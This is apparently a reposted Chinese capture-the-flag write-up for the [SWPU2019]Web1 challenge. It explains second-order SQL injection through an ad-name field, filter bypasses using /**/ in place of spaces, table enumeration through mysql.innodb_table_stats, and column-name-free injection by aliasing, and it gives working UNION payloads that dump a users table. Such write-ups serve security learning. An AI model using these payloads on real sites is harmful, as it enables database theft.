其他分享
首页 > 其他分享> > [SWPU2019]Web1 &&二次注入&&过滤or,*&&无列名注入

[SWPU2019]Web1 &&二次注入&&过滤or,*&&无列名注入

作者:互联网

[SWPU2019]Web1

好难一道题,发现自己有好多东西都没掌握,过去也就听个名字。

审题

注册个账号,登录
只有申请发布广告,发现可以把广告名字和内容插入页面
还有个查看详情按钮,单击后发现有一个get类型提交的id参数
可是尝试了

?id=1' and 1=1
?id=1' and 1=2
?id=1
?id=1)
//等等

啥反应也没有,应该是严格的过滤了
又由于之前的可以编辑广告内容和标题
猜测可以二次注入

猜测源码

在detail.php中显示的广告名称等都是从数据库中获得。
应该是先通过查询id获得名称,再通过名称查广告内容
何必多此一举????

$ads_name= select name from ads where id= _$GET["id"];
select ads where name='$ads_name';

二次注入

构造广告名

1'

点击详情后报错,成功注入
发现进行了过滤
or # %23 空格等都不能用了
考虑绕过
用/**/,'代替上述的空格和闭合符号

构造payload:
先看显示的位置
在这里插入图片描述

-1'union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

注入点在2和3的位置
暴库

-1'union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

在这里插入图片描述

======================================================

无列名注入

爆表
information_schema也被过滤了 使用替代的innodb数据库
在这里插入图片描述

当过滤了information_schema时可以用mysql.innodb_table_stats代替information_schema
(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database())

在这里插入图片描述

可是Innodb只有表名和数据库名,列名不知道啊

无列名注入基础

mysql> select 1,2,3,4,5 union select * from t2;
+----+------+----------+------------+---------------------+
| 1  | 2    | 3        | 4          | 5                   |
+----+------+----------+------------+---------------------+
|  1 |    2 | 3        | 4          | 5                   |
| 10 | 2020 | 14:35:23 | 2021-11-11 | 2021-11-11 14:35:23 |
|  9 | 2020 | 20:45:13 | 2021-11-10 | 2021-11-10 20:45:13 |
|  8 | 2020 | 20:45:13 | 2021-11-10 | 2021-11-10 20:45:13 |
|  7 | 2020 | 20:45:12 | 2021-11-10 | 2021-11-10 20:45:12 |
+----+------+----------+------------+---------------------+
5 rows in set (0.00 sec)
发现我们可以给表修改列名,只要知道表的具体列数
取别名的方法有两种
(xxxxxx)a
或者
1,2,3 as a   注:第二种只把最后一项3替换为`a`

于是可以在不知道原列名 的情况下查询特定的列名

mysql> select `5` from (select 1,2,3,4,5 union select * from t2)a;
+---------------------+
| 5                   |
+---------------------+
| 5                   |
| 2021-11-11 14:35:23 |
| 2021-11-10 20:45:13 |
| 2021-11-10 20:45:13 |
| 2021-11-10 20:45:12 |
+---------------------+
5 rows in set (0.00 sec)

select `5` from (select 1,2,3,4,5 union select * from t2)a;

等价于

select b from (select 1,2,3,4,5 as b union select * from t2)a;

PayLoad

-1'union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)k),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

注:一些错误

Operand should contain 1 column(s)
错误原因:
往往是我们多出一列操作数,或者给的参数格式不正确

subquery returns more than 1 row

标签:11,10,20,45,Web1,2021,&&,select,注入
来源: https://blog.csdn.net/qq_37301470/article/details/121714741